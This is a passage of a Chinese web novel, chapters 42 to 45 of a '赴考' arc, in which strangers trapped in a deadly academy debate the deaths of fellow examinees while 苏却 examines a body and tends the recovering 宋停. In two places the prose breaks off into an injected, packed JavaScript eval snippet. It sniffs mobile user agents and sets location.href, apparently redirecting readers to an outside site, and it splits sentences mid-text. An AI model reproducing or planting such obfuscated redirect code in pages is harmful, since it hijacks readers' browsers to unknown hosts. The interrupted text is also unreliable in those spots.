他话音未落，一个十分不满的声音响起。 “不是我说，咱们现在可是泥菩萨过江自身难保！”说话的是一个名叫章世昌的男子，他十分瘦，显得有些衣袍宽大，声音又尖又亮。 他指着昏迷在地上的宋停，高声道：“大家都看得清清楚楚，客栈明明只有二十间房，我们当晚入住，不多不少，正好二十个人。掌柜的也亲口说了人已到齐，然后才关的门。” “现在倒好，这个苏却，不问我们大家的意思，捡来个半死不活、来历不明的家伙，谁知道他是人是鬼？会不会身上带着什么不干净的东西？万一他……他触犯了什么我们不知道的规矩，引来祸事，连累我们所有人一起遭殃，到时候，谁担待得起？啊？谁担待得起！” 42. 赴考（四） 赴考（四） 这番话一出，人群之中立刻七嘴八舌地讨论开，打破了堂内脆弱的平静。 原本还因为彼此不相识而多有收敛，如今已是不吐不快。 许多目光，再次齐刷刷地聚在苏却和宋停身上。 华子唐更是重重地哼了一声，附和道：“说得在理。多一个人，就多一分变数。” 显然，他对苏却的不满，始于昨晚。 自她抢先上楼、摆出那副不合群的姿态时，他便已看她不顺眼了。 苏却脸上不见怒色，反而极轻地笑了一声。 与人周旋，果然是这世上最耗费心力之事。 “祸事？”她嘴角勾起一丝极淡的弧度，环视了一圈神色各异的众人，“从踏进客栈那一刻起，祸事便如影随形，在场诸位，谁敢断言自己能全身而退？莫不是诸位以为，少了他，此地便安然无忧了？客栈开门前死在房中的那两位，难道也是因他之故？” 华子唐被这话堵得脸色铁青，梗着脖子道：“可……可掌柜的明明没说会有第二十一人。” 苏却立刻驳：“掌柜是没说会有，但他同样没说绝不会有。再者，书院日程，白纸黑字，诸位想必都已看过，上面可有一字言明，其他人不得踏入书院半步？” 叶别风垂了垂眼，道：“规则之上，确实并无此项禁令。” “刚刚在客栈我们已有猜测，怀疑是因为争吵才导致范月楼和万夜空死于非命。”她缓缓抬眼，目光平静，“只是我不明白，现在面前的这二位，字字铿锵句句锋芒，是不是，杀心，有些太重了？” 她眼神意味深长，一一看向在场的每一个人。 华子唐今日是第二次被苏却噎到语塞，“你……你……”了几声后，颓然坐下，以粗喘表示愤怒。 “欸，算了算了，都少说两句，大家现在都是一条绳上的蚂蚱，有话好好说，别伤了和气。”一个身材微胖，名叫康大化的男子连忙站起身打圆场，他搓着手，试图缓和气氛，“再说了，我们现在总人数，就算加上这位昏迷的兄弟，不也还是没超过二十个嘛？我看啊，问题不大，问题不大。” 果然，一旦涉及到自己的性命，就会有这样的人出现。 他们心中没有固定的立场，唯一的准则便是趋利避害，永远倒向于能让自己更安全的一边。 可疑心的种子，到底还是种下了。 叶别风看向苏却的眼神，也多了一丝，审视。 这微妙的变化自然没能逃过苏却的眼睛。 不待他质疑，苏却便开口解释道：“他是我友人，并非来历不明。” 叶别风闻言，目光在她脸上停顿一瞬，随即点了点头：“原来如此。那在如此危难之际，我等自当同舟共济，没有见死不救的道理。” 他转向蹲在一旁的林无岩，诚恳道：“林兄弟既然略通医理，便劳烦你多费心照看这位兄台。” 林无岩叹了口气，道：“叶公子言重了，在下只是略知皮毛，自当尽力。只是……”他伸手再次探了探宋停的颈侧和手腕，眉头紧锁，“他恐怕……情况不容乐观。” “尽人事，听天命。”他安慰道，又看向众人：“好了，此事暂且就此决定。其他人，若无异议，我们继续。还有谁刚刚未曾发言？” 很快又有人将话题拽回了那两起离奇命案。 “叶公子，依您看，你觉得范月楼万夜空他们俩，是为什么会死呢？” 叶别风沉吟片刻，缓缓开口：“目前线索寥寥，尸身也未及仔细勘验，实在不好妄下断言，以免误导诸位。但若是抛开实证，仅凭现有迹象进行揣测……除了我们之前猜测的争吵之外，我心中确实还有另外一条疑虑。” “不知各位是否还记得，在进入客栈大门之前，我们所有人都曾在掌柜手中木盒里，抽取过一张纸条。掌柜当时明确告知，需心中牢记，不可告知他人。” 听闻“纸条”二字，许多人脸色骤变。 在经历了发现尸体、匆匆赶路、言语争执之后，不少人几乎将这张看似不起眼，又是阅后即焚的纸条完全忘在了脑后。 此刻被叶别风提起，才惊觉竟然还有这样的东西。 秦玉奇笑着，立刻用力拍了一下自己的大腿，啪的一声响，连忙道：“哎呀！不愧是叶公子，您要是不提，我这猪脑子都快把这事给忘干净了。难道……难道您的意思是，他们二人之所以遭难，是因为……是因为不曾守住那纸条上的秘密？泄露者，死？” 这个推测让在场许多人脊背发凉。 哪怕是简单一句话，就有可能一命呜呼。于是，对此地更有了一份更深的恐惧。 “可……可就算我们死死守住秘密，又能怎么样呢？” 一个带着哭腔的女声响起，是段春音。 在客栈时正是她，提醒了苏却争吵背后可能潜藏危险，是个谨慎细致的女子。 此刻她却脸色煞白，嘴唇不住地轻颤，眼中泪光盈盈满是绝望：“难道我们一直不说，就能保证平平安安活到最后吗？” 她的恐惧感染了众人，一时间，四下里窃窃私语声又起。 就在这时，一个坐在最角落的男子，缓缓站了起来：“我还有一个疑问。” 在此之前，他一直都低着头，几乎没有任何存在感。 可大家的目光落到他身上后，周围瞬间陷入了寂静，几乎能听到有人倒吸凉气的声音。 他的声线明明是清朗的寻常男子，相貌却实在美丽。明眸似两泓秋水，薄唇如刃，面庞似玉，恍若三春桃李，灼灼其华。 这般容貌若在女子中，定是惊鸿一瞥便再难相忘。 偏他立在男子列中，且在此之前又沉默不出挑，一直将自己隐藏得极好，未曾引起半分注意，倒叫人只作寻常，竟不知有此等人物。 饶是苏却，亦有一瞬失神。 他似乎早已习惯了他人对自己容貌的关注，神色如常，平静地开口道：“方才在客栈二楼，时间仓促，但我留意到，范月楼与万夜空二人的死状，截然不同。” 他继续说道：“范月楼仰卧床上，周身鲜血几乎流尽，屋内有血迹喷溅，且我瞥见他浑身上下好像都有 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他深吸一口气，语气是前所未有的严肃，“所以，在查明真相之前，接下来的时间里，望诸位务必谨言慎行，务必与人友善，避免任何冲突与试探，也绝不可轻易泄露秘密。一切，都以保全自身性命为首要，切莫冲动，切莫……” 话音未落。 “铛——” 钟声再一次响起。 晨读已结束，入斋抄书的时辰到了。 几乎就在同一瞬间，明伦堂三面垂挂的竹帘再次整齐地向上收卷，如门户洞开，示意众人离去。 帘外，已是天光大亮，白雾早已消散得无影无踪。 人群沿着连接明伦堂与东西两翼书斋的草棚廊道前行。 走在前面的一些人，或许是考虑苏却背着一个将死之人，心生怜悯，或许是想远离苏却和宋停这两个大麻烦，十分默契地将最靠近廊道口那一间，留给了苏却。 苏却并不在意。 斋舍极其狭小逼仄，进门之后，几乎只能容人转身，十分压抑。 一张齐腰高的木桌紧靠里墙摆放，几乎占去了一半的空间。 桌上，笔墨纸砚倒是陈列齐全，她要抄写的书册端正放在纸张之上，乃是《大学》。 《大学》字数不算少，在一个时辰内抄写五遍，时间并不宽裕，不能有丝毫懈怠。 她将宋停小心地放下，让他靠坐在门边的墙壁下。 这里恰好有一缕阳光斜洒入屋内，虽然微弱，聊胜于无。 叶别风的外袍依旧裹在宋停身上，但作用已经微乎其微。 宋停依旧浑身冰冷，脸颊和嘴唇苍白得没有一丝血色。 叶别风说得对，尽人事。 苏却不再耽搁，走到桌后，在蒲团上跪坐下来。 加水、磨墨、蘸取、提笔。 渐渐地，斋舍外面的廊道上，书院的花园里，开始传来脚步声和刻意压低的交谈声。 看来已经有人陆续抄写完毕，离开了书斋，按照日程在院内活动休息。 可…… “啊——！！！” 一声凄厉至极的尖叫声，仿佛是从对面书斋的方向传来。 显然，又有人……出事了。 43. 赴考（五） 赴考（五） 等苏却抄完后，搁下笔，循着骚动声赶到对面书斋二楼时，那间出事的书斋门口已经围满了人，隐隐的血腥味已经透了出来。 死在里面的是华子唐。 他魁梧的身躯伏在窄小的书案上，双目圆睁，瞳孔涣散，神情痛苦惊愕，衣衫已被血液浸透。 书斋内的桌案、地面、甚至旁边的墙壁上，都溅满了斑斑点点的血迹，场面血腥可怖。 他怎么死了？ 眼下，第一日方至午时，便已折损三人。 所以，他们此行，是不是要破解死因，避免惨死，尽量存活，熬到最后一天，才能离开？ 一共九天，他们就这几条命，只怕，根本撑不了这么久。 苏却想起抄书结束的钟声，正是不久前，她穿过灌丛准备往书斋这边过来之时响起的，而尖叫声则发生在钟声之前。 顺序很清楚。 所以华子唐的死，绝不可能是因为未完成抄书而招致的惩罚。 可若说是他人杀害…… 华子唐一看就是习武之人，介绍时他也说自己是个护院，那两条胳膊比章世昌的大腿还粗，力气也定然非同小可。 想要在短时间内趁其不备取他性命，还要不被他人发觉，绝非易事。 即便是偷袭，华子唐吃痛时的挣扎，也足以让两人两败俱伤甚至同归于尽。 只有可能是，凶手的实力远超于他，才能做到一击致命。 但…… 苏却环顾，痛哭的痛哭，干呕的干呕，拍胸口的拍胸口…… 就算是苏却自己，一对一碰他，也没有一招毙命的把握。 但话又说回来，晨读之时，大家已经分析过几种情况。 华子唐此人，脾气虽然暴躁易怒，但绝非蠢笨无知之辈。相反，他十分惜命，也比较尊重叶别风，起码听他劝告，断然没有明知故犯的道理。 况且所谓争吵，并不是一个人就可以做到的事，也就是说，如果争吵致死，最少也得是两个人。 可就在一个时辰前，她与华子唐在明伦堂内，当着众人的面，有过言辞激烈的冲突。 若真是争吵，她苏却，此刻也绝无可能完好无损地站在这里。 那么，或许致死的，并非争吵，而是……动怒？或者更具体些，是主动挑事或者心怀恶念并付诸行动？ 这个念头刚出现，又被她自己否定了。 因为章世昌也安然无恙。 若论主动挑事，他必得算头一份。 苏却侧头望去，那章世昌正立在人群之后，嘴里说着宽慰之语，一只手看似随意地拍着段春音微微颤抖的肩头，却总在不经意间游移不定，屡屡试探着向下，轻擦过段春音的后背，或是似有若无地掠过她的臂膀。 他的身躯有意无意地贴近段春音，几欲黏附其上，嘴角的笑意，油腻又恶心。 段春音似乎有所察觉，表情僵硬，想向旁边缩，却无处可躲，脸上带着窘迫与害怕，又不敢大声斥责。 苏却眼神一寒，正想从旁边随手捡块小石子或者泥团丢过去，给个警告，却见一只宽大的手，已先一步伸出，牢牢扣住了章世昌的手腕。 “啊啊啊啊啊啊啊啊啊哟喂——”章世昌猝不及防，发出杀猪般的惨叫，整个身体都因为被扣的手腕扭曲起来，“放手放手放手放手！你干什么？疼死我了！” 出手的是那个名叫杨季野的男子，他肤色略黑些，手掌很大，细看还有薄茧，像是有点功夫的。 杨季野显然是被章世昌的厚颜无耻震惊了，此刻他脸上满是压抑不住的怒意，冷笑了两声，鄙夷斥道：“你还敢问我在干什么？那你敢不敢自己跟大家说一说，刚刚你在干什么？你的手，又在干什么？” 章世昌手腕被捏得生疼，额头直冒冷汗，但嘴上并不肯服，反而拔高声音道：“我怎么不敢说？我坦坦荡荡，美人落泪梨花带雨，岂能放之任之？我不过是出于好心，安慰她一下，怎么了？这也有错？！” 接着他倒打一耙，指着杨季野的鼻子：“噢我知道了，是你自己心思不纯，满脑子肮脏污秽，所以看见什么都是脏的。这都什么时候了，子唐兄弟尸骨未寒，你还有心情想这些歪的邪的？你……” “你们两个都不想活了吗？”一声严厉的呵斥打断了章世昌的阴阳怪气。 杨季野闻言，重重地哼了一声，像甩脏东西一般甩开了章世昌的手腕。 来人名叫张山起。 苏却记得这个眉眼冷峻的男子，他似乎每一次都寸步不离地跟在叶别风身边。 区别于秦玉奇的奉承，张山起对叶别风，是一种发自内心的信任与追随。每每叶别风在说话，他的眼神就只会停留在叶别风身上，还会微微点头，表示极为认同。 那神态，非常眼熟。 张山起脸色铁青：“这才过了多久？叶公子说过什么你们都忘了是吧？” 和事佬康大化也忧心忡忡地劝道：“是啊是啊，张兄弟说得对！大家都别上火，有话都好好说，千万别动手，千万别动手啊！” 然而，章世昌的反咬一口，已令杨季野怒火灼心，再难按捺。 他怒视着章世昌，吼道：“好好说？跟这种披着人皮的渣滓有什么可说的！我只恨……只恨死的人为什么不是这种货色！真是苍天无眼啊……” “什么？你咒我？”章世昌尖着嗓子叫起来，“你想要我死？你咒我死是不是？你安的什么心？依我看这几个人都是你杀的吧。” 他一边嘶喊着，一边四顾寻找，似乎想找件称手的工具，但廊道上空空如也。他气急败坏，索性几步冲上前，挥舞着拳头就朝杨季野砸去。 杨季野又岂会坐以待毙，他反应极快，一把挡开章世昌挥来的手臂，反手一拳正中其面门。 一声闷响，章世昌一声痛呼，踉跄着后倒退了好几步，两股鼻血汩汩涌出。 随即，他更是疯了一般，张牙舞爪地扑向杨季野。 眼看事态就要失控，周围的人也顾不上看热闹了，纷纷上前，七手八脚地将互相撕扯怒骂不休的二人强行分开。 廊道上一时间乱糟糟闹作一团。 趁着外面这片混乱，苏却身形一闪，悄无声息地走进了华子唐的书斋内。 孟兰红就站在门边，见苏却欲入内，阻拦还未出口，手方抬起，苏却已自她身侧掠过，徒留衣袖滞于半空。 屋内，血腥味更加浓重。 苏却绕过地上的血泊，走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468616|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书案旁。 案上摊开着抄写用的纸张和书册，也是《大学》，字迹粗大歪斜，毛笔滚落在侧，只完成了大约两遍。 笔墨纸砚摆放的位置虽乱，但未见搏斗痕迹。 然后她伸手扶起华子唐的头颅，靠在墙上。 只见他面色青白，嘴唇干涸，毫无血色，应是失血过多而亡。颈侧衣领破了一道口子，周围的布料完全被血液浸染。 因为他刚死不久，血液尚未完全凝固，衣领还湿漉漉地黏在他的皮肤上。 苏却小心拨开破损的布料。 颈侧赫然一道寸许长的创口，边缘齐整，显然是利器。 她继续解开尸身外袍与中衣层层褪开，露出躯干，再次确认无其他伤口。只有手掌、后背有几处陈年旧疤。 除此之外，他指耳后、双臂，十指完好，只是满手血，但甲缝中并无皮屑。 她目光最终落回致命伤处。 片刻后，苏却转向门口，对孟兰红伸出手：“借你发簪一用。” 孟兰红愣了一下，摸了摸头发，拔下一根银簪递了过去。 苏却接过簪子，再三擦拭后，用尖端小心翼翼地探入那道创口，创口窄而深，切断了要紧的经脉。照理应该当时就鲜血如注，华子唐第一反应就是捂住，之后甚至都来不及呼救，便因大量失血而失控倒下。 华子唐的死状，和范月楼有相似之处，都是失血过多。 但范月楼是浑身布满伤口，而华子唐却只有颈间这一处致命伤。 这其中的差异，又意味着什么？ “可有收获？”一个声音在身后响起。 苏却回头，叶别风竟是现在才出现，他眉峰紧蹙，脸色凝重。 苏却直起身，将簪子递还给门口的孟兰红，对着叶别风摇了摇头：“只有颈侧一处致命伤，利器所致，干净利落，没有搏斗痕迹。” 叶别风闻言，盯着华子唐的尸身，沉默了好一会儿，才深吸一口气，才转头向外面的众人，扬声道：“大家都先去饭堂吧，无论如何，都需按照日程继续。聚集在此处，于事无补。” 苏却看着人群散去，即便自己此刻实在没有任何胃口，也还是默默跟上了队伍。 这里的时间本就比正常过得更快些，自己似乎并没有完完整整吃过一天三顿。 对于衣食住行，她从来都是能将就则将就。 再加上眼下事件接连发生，却毫无头绪。 宋停也一直昏迷不醒，情况堪忧……种种皆在心头，让她更觉烦闷。 她低着头，随着人流穿过廊道，目光无意间扫过外侧那片灌丛。 可，不远处，那个站在树下冲着自己笑的那个人，是谁？ 他咧着嘴，眉眼弯弯，冲着苏却招手。 苏却脚步一顿，放缓，调转方向，不紧不慢地朝着那棵树走去，目光却不曾从他苍白的脸上移开半分。 原以为以他的性子，好不容易从鬼门关挣扎回来，见到她，定要嘴贫一段，好好把之前没说够的浑话，狠狠说个遍。 但是。 没有。 宋停只是微微歪了歪头，用那双恢复了神采的眼睛望着她，然后淡淡地打了个招呼。 “哟。” 44. 赴考（六） 赴考（六） 见苏却走近，脸上没什么表情，只是定定地看着自己，宋停嘴角的弧度扬得更高了些。 “怎么啦，看呆啦？是不是觉得我这张脸，仔细瞧瞧，还挺耐看的？” 苏却不答，只是沉默地继续靠近，一步，两步，两人之间的距离迅速缩短。 她已经几乎快要贴到他的胸膛。 宋停先是微微一怔，随即做出一副无可奈何的模样，拖长了调子，像是妥协般暗含期待地张开了双臂：“哎呀，真是拿你没办法。那我就勉为其难地抱……嗯嗯？” 可，预想中的人影却并没在他怀里。 取而代之的，是一个硬邦邦的小物件，被苏却不轻不重地按在了他的胸口。 他下意识地低头，接住那东西，入手一摸，定睛一看。 是他之前交给苏却的小瓷瓶。 再抬头时，苏却已经退开了两步，双手抱胸，眼神清冷，对着他道：“你的东西你自己管，我不负责。” “你这人……”他本想如往常般嬉皮笑脸地凑近，刚迈出半步，一阵天旋地转猛然袭来，脚下发软，险些栽倒。 他面上一僵，随即用了一个更灿烂的笑容掩饰过去，附和道，“对对对，我知道的，苏大捕头铁面无私，不负责，不负责。”他顿了顿，小声道，“嘴上说着不负责，可这一路上，又是给人披衣服保暖，又是任劳任怨背着走的，好像……也没见你少关心我嘛。” 说罢，他收好手中的小瓶，又取下披在身上的粉白色衣袍，将其凭空举起，朝着苏却的方向比画了一下，仿佛在想象她穿上的样子，随即又收回到自己面前，低头轻轻嗅了一下，有一股如清风翠竹般的淡淡香味。 宋停心中一动，抬起眼，看着苏却道：“你平日穿的不是黑灰就是青褐，这样清爽的颜色甚少看见，挺好看的，多谢啦。” 苏却避开宋停的目光，背过身，把嘴拉长，狠狠抿住，才没让自己笑出声来。 她憋了许久，直到感觉表情恢复了控制，才缓缓转身，目光落在宋停手中的衣袍上，语气淡然：“衣服是别人的。等会儿亲自去道个谢，然后还给人家。” 宋停：“……” 他脸上的笑容凝固了一瞬。 随即他抬手扶额，声音也虚弱了下去，开始耍无赖：“我头晕，浑身没力气，走不动路了。苏却，你……你过来扶我一下吧。” 苏却连眼皮都懒得抬，冷声道：“你嘴不晕，听着挺精神的，用嘴走吧。” 宋停低低地笑着，看着虽然嘴上刻薄，脚步却分明朝着自己这边迈了一大步的苏却，手臂自然一伸，便搭在了苏却的肩上。 但他只是虚虚地靠着，借一点力，让自己站稳。 然而，仅仅是这样一个轻微的动作，又引得他眼前一阵发黑，视线模糊。 他闭了闭眼，暗自咬紧牙关，努力跟着她向前挪动脚步。 他还抽空顺口夸了一句：“苏却，你的力气……真的挺大的。” 苏却当然知道他这是没话找话。 本来懒得搭理，但不知为何，嘴唇动了动，还是嫌弃了一句：“头晕就闭嘴。” 宋停从善如流：“我头晕，嘴又不晕。两码事。” 苏却：“……” 她就是嘴欠。 明知道跟这人斗嘴占不到什么便宜，还总是忍不住接话。 两人慢慢地挪进了饭堂，但里面气氛并不愉快，大多数人只是简单动了两口，心事重重。 连续三人的死，成了每个人心上的阴影。 本就离门口不远的林无岩看到了苏醒的宋停，面露惊喜，几步就迎了过来，也顾不上客套，直接伸手搭上宋停的手腕。 指下的脉象虽然细弱，但比起之前已然有了明显的起色。 林无岩难以置信，忍不住在宋停背后用力拍了一掌，激动道：“兄弟，你可以啊！你这命可真够硬的！” 他这一掌力道不小，拍得宋停猝不及防，咳了好几下。 叶别风也注意到了这边的动静，站起身走了过来。 他微微笑道：“恭喜恭喜！如此，苏兄弟也可以少担点心思了。” 宋停靠在苏却身上，眼睛微微眯起，打量着叶别风。 他声音比刚刚又虚弱了几分，颤道：“在下宋停，多谢这位兄弟的衣袍，可惜弄脏了，我实在……过意不去。” “一件外衣而已，宋兄不必挂怀，身体要紧。”叶别风双手接过，语气平和，“在下叶别风。” “好，多谢叶公子……”宋停弱弱道，然而下一瞬，他又立即拔高了声音，不可置信道，“什么？你说你叫什么？” 叶别风不明所以，但还是一字一顿地重复了一遍：“在下，叶别风。” 搭在苏却肩上的手收了回去。 他站直了些许，眼神瞬间变得冰冷，咬着牙问道：“你所姓之叶，可是皇后母族之叶？家中远亲，可有一支……姓周？” 叶别风皱眉，似乎对宋停的问题感到不解，察觉其中隐有敌意。 但他还是回答道：“天下叶氏，都为一家。若说远亲，似乎……确实有姓周……” 他话还没说完，宋停已经动了。 只见宋停摇晃着上前，用尽了全身的力气，抡起拳头，结结实实地砸在了叶别风的脸颊。 “叶公子！！！”身后的张山起惊呼出声，脸色骤变，箭步上前就要去拦。 “不用。”叶别风伸手，挡住了张山起。 他被打得偏过头去，嘴角迅速红肿起来，但他依旧试图安抚：“宋兄弟，或许……我们之间有些误会。不妨坐下来……” “误会？”宋停厉声打断他的话，声音颤抖，“这一拳，是因为你姓叶！” 话音未落，他不顾自己的身体，再次抡起拳头，又是一拳，狠狠地打在了叶别风的脸上。 这一次，叶别风被打得踉跄了一下，几乎站立不稳。 宋停自己也因用力过猛而退了两步才被苏却伸手扶住。 他狠狠地盯着叶别风：“这一拳，因为你家远亲……姓周！” “叶公子你！！！……”张山起哪里看得了这些，他目眦欲裂，再次要冲上来，却还是被叶别风制止。 张山起看着叶别风的脸颊和嘴角，抓着叶别风拦着他的胳膊，冲着宋停愤怒吼道，“冤有头债有主！姓叶的姓周的，谁惹的你你找谁去就是了！你这人好生忘恩负义，你昏迷不醒的时候，叶公子对你多有关照，还替你说话，你……你简直……” “对不住。”叶别风止住了张山起的话。 他缓缓站直，理了理凌乱的衣襟，而后，在众人的震惊中，对着宋停，深深一揖到底。 再抬起头时，他脸色苍白，声音颤抖：“叶家能蒙当今皇上赏识，实乃家门之幸。我心中常怀惶恐，唯恐德不配位，有辱门楣。只是……”他顿了顿，心痛难当道，“家族旁系盘根错节，难免……难免有……我……我替他们，向你道歉。” 饭堂内一片寂静，落针可闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471932|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所有人都被这突如其来的状况，和叶别风卑微的姿态惊呆了。 然而，更出乎所有人意料的是，宋停看着深深鞠躬的叶别风，上前一步，伸手，将叶别风扶了起来。 他的声音本就没有恢复完全，人又虚弱，吼了几声又沙哑起来。 他眼眶泛红，死死盯着叶别风：“你为何不还手？” “我又何尝不知蠹众而木折，隙大而墙坏。”叶别风直起身，与宋停对视着。他嘴角还在渗血，看起来十分狼狈，但眼神清明而悲凉，“逃不过金玉其外，败絮其中罢了。” 他穿上那件沾了尘灰的外袍，仔细整理后，再次拱手，向宋停深深一揖。 没多久，钟声再一次响起。 温书，撰文的时辰到了。 苏却随手拿了两块看起来还算干净的糕点，胡乱塞进嘴里，又分与宋停。 两人都只是囫囵吞下，算是应付了过去。 回到那间狭小的书斋，上午完成的抄书作品已然不见，桌面上只留下了一张写着题目的字条和厚厚一沓空白的宣纸。 字条上，只有简短的三个字：论家世。 宋停看到这三个字，面色一暗。 他沉默地看向正在整理纸笔的苏却，有些干涩地问道：“你……不问我？” 苏却铺开一张纸，头也没抬，反问道：“我问了，你会说吗？” “会。只不过……”宋停拿起墨锭，挨着她，靠着墙壁，缓缓坐在地上。 他低着头，看着那逐渐浓稠的墨汁，道：“只不过这是一个很长的故事，也很……不堪。如果我们还有以后，如果你也还愿意听，我可以……慢慢讲给你听。” 苏却执笔的手微微一顿，没有回应他说的以后。 她蘸饱了墨，略一沉吟，便俯身疾书起来。 她写道： 夫人之生于世，如璞玉出于荆山，初蒙尘泥，未辨其质。 家世者，犹造化之初工也，或琢以金匮，或弃于草泽。 然玉之成器，并非独系初地之功。 观古圣贤，舜发于畎亩之中，傅说举于版筑之间，岂因蓬牖而损其晖？亦有世禄子弟，席丰履厚，终坠青云，若叔段之骄，卫霍之侈，虽钟鸣鼎食，终贻笑青史。 故曰：门第如舟，能载亦能覆。 寒素之士，怀瑾握瑜，勤勉不辍，虽陋室亦可登高堂；膏粱之子，纵纨绔而不修德，虽广厦必倾梁柱。 均在人之所为也。 《周易》云：“君子以自强不息。” 是以智者不怨蓬门，但修其德，砺其志，则命运终在掌中。 宋停在一旁静静地看着。 当看到她最后一句，他忽然低低地笑了起来，像是带着几分嘲讽。 他抬眼看向苏却，问道：“你，竟然会信……人定胜天？” 苏却放下笔，吹了吹纸上未干的墨迹，待其干后，将纸投入木箱之中。 她的侧脸在光线下，显得冷静而坚毅。 “不，”她没有任何犹豫地回答，“我只信我自己。” 收拾完物品，她转身看向靠坐在墙边的宋停，道：“你留在这里休息吧，我先去四处看看，等会儿还会回来。” 如果她没有记错日程，写完策论上交之后，便是那所谓的互学时间，每人每天可以有三次寻找同窗单独讨论的机会。 她心中早有人选。 叶别风。 段春音。 和那位长相极为标致的男子——李长宥。 45. 赴考（七） 赴考（七） 苏却沿着书斋廊道向前走着。 她所在的这排书斋，从靠近明伦堂的这一端朝前看，除了她自己的那一间，隔壁连续两间都是空的。 顶头那边两间里面，是在客栈住她对面的绿衣姑娘孟兰红，以及另一位名叫宁剑书的姑娘。 苏却与孟兰红算是打过几次照面，但交谈寥寥，算不得熟络。 经过她们门口时，苏却只是随意地向内瞥了一眼。 孟兰红和宁剑书都还伏在案前，并未完成。 也不知她们拿到的策论题目，是否与自己的一样。 书斋的两头都有通往二层的楼梯。 苏却从宁剑书这端的楼梯走上去。 依次经过： 第一间，里面是杨季野。 第二间是康大化。 第三间里面空无一人，但笔尖的墨水未干，显然刚才有人，不知是谁。 另外两间则是不太熟悉的楚念来和陶雨竹。 真是不巧，自己要找的人，竟然都在对面。 她从这一侧楼梯下来，经明伦堂，沿着另一侧的廊道，走向对面的书斋。 刚绕过廊道拐角，苏却便看见了这样一幕。 章世昌竟然在段春音的书斋内。 他几乎将整个身体都贴在了段春音身侧，脸上堆着痴笑，一只手装模作样地帮着磨墨，另一只手却极其不安分，时而帮她理一理衣服的褶皱，时而去撩撩她的头发，甚至试图轻佻地擦过她的脸颊和身体…… 段春音身体僵硬地向旁边缩，手里紧紧握着笔，头埋得很低，却又不敢出声斥责。 苏却眼神一冷，在屋外停下脚步，先是轻咳一声，随即屈起手指敲了敲墙。 她沉声问道：“二位，聊完了吗？” 章世昌正十分沉浸，被打断后眉头一皱，头也不回地就冲着门口方向连连摆手，极不耐烦道：“没呢没呢没呢！一边待着去！你等会儿再来！” 说完，他脸上的表情瞬间又换回那副油腻的笑容，微微起身，噘着嘴，似乎要附到段春音耳边说些不堪入耳的话。 然而，他话还没出口，苏却已经一步跨进了书斋内。 她冷然道：“既是如此，那就一起吧，三个人一起互学，想必能聊的东西更多，也更热闹。” 说罢，她完全无视了章世昌十分难看的脸色，径直在段春音正对面把腿一盘，席地而坐，自然流畅。 章世昌这下彻底怒了。 他猛地站起身，指着苏却的鼻子，唾沫横飞地骂道：“你这臭小子懂不懂规矩？你看了日程吗？单独讨论什么叫单独讨论你懂吗？啊？！两个人！只能两个人！你有眼睛吗？你会数数吗？你给我滚出去！” 面对他的气急败坏，苏却面无表情，只是微微歪了歪头，道：“我单独与你说，你单独与她说，她单独与我说。我们三个，各说各的，正好直接解决两次互学的机会，省得我跑来跑去，挺好。” 她顿了顿，又补充道：“你们开始说吧，我就坐在这里，不听你们的内容就是了。” “你……你……”章世昌被她气得浑身发抖，手一个劲儿地在苏却眼前点着，目露凶光，咬牙切齿道，“行行行！好好好！你这样玩儿是吧！行！你叫苏却！我记住你了！你给我等着！” 苏却没说话，只是平静地看着章世昌那只晃来晃去的胳膊。 她在想，如果接下来这只碍眼的胳膊再靠近一分，自己该以何角度，又以几分力道，方能又快又准地将其卸下，令他闭嘴。 或许是她目光中不自觉地带了狠戾，章世昌的手僵了一下，悻悻收回，没敢再做什么。 离开前，他只恶狠狠地瞪了苏却一眼，嘴里不干不净地低声咒骂着，脚步倒是挪得飞快，一下子就消失在廊道上，没影了。 段春音红着眼眶，抬手用袖子擦了擦眼角，又下意识地拍了拍被章世昌碰过的衣衫，声音颤抖道：“多谢……多谢苏公子。” 苏却并未开口安慰。 段春音在整理好心绪后，也继续提笔书写。 只是苏却无意瞥了一眼字条，发现题目果真不一样。 她的是：论勇。 段春音似乎原本也写得差不多了，很快便完成了最后几句。 所以她也并没有等很久。 段春音将纸塞进木箱后，轻轻舒了一口气，随后她恭恭敬敬地跪坐回蒲团上，道：“苏公子来找我，定是想知道什么。想问什么便问吧，我一定知无不言。” 苏却也没客套，直接道：“昨天晚上，究竟都发生了什么事？” 段春音回忆了一下，娓娓道来：“当时，大家看着你上楼之后，楼下确实乱了一阵子。不少人都在责怪你，说你太过放肆不合规矩，万一惹怒了掌柜，此行堪忧。后来，掌柜离开，在交谈中有些人也已经互通了姓名，即便说了名字，也没多少人真正记住对方的声音和容貌。” “后来，有人提议，叶公子天资聪颖气度不凡，便推举他出来主持大局。”段春音说到这里，语气亦带着对叶别风的信任。 苏却追问道：“提议以抓阄分房的，是谁？” 范月楼和万夜空的争执，起因便是房间。 而在众人明确已知她苏却已经率先上楼，占据了一间房的情况下，准备抓阄时，为什么依旧是二十个签？ 如若碰上性子随和，不愿争抢的，睡在哪里都一样，自然无事。 可偏偏范月楼和万夜空都是初次被卷入此地的新人，内心本就惶恐不安，事不顺心更是烦躁，自然谁也不愿妥协让这一步，争吵几乎不可避免。 所以，若并非真的粗心大意，便极有可能是一场有心安排，等着某些容易冲动的人毫无防备跳入其中的陷阱。 “是我。”段春音抬起头，看向苏却，道，“是我提议的。” 苏却的目光一瞬间锐利起来。 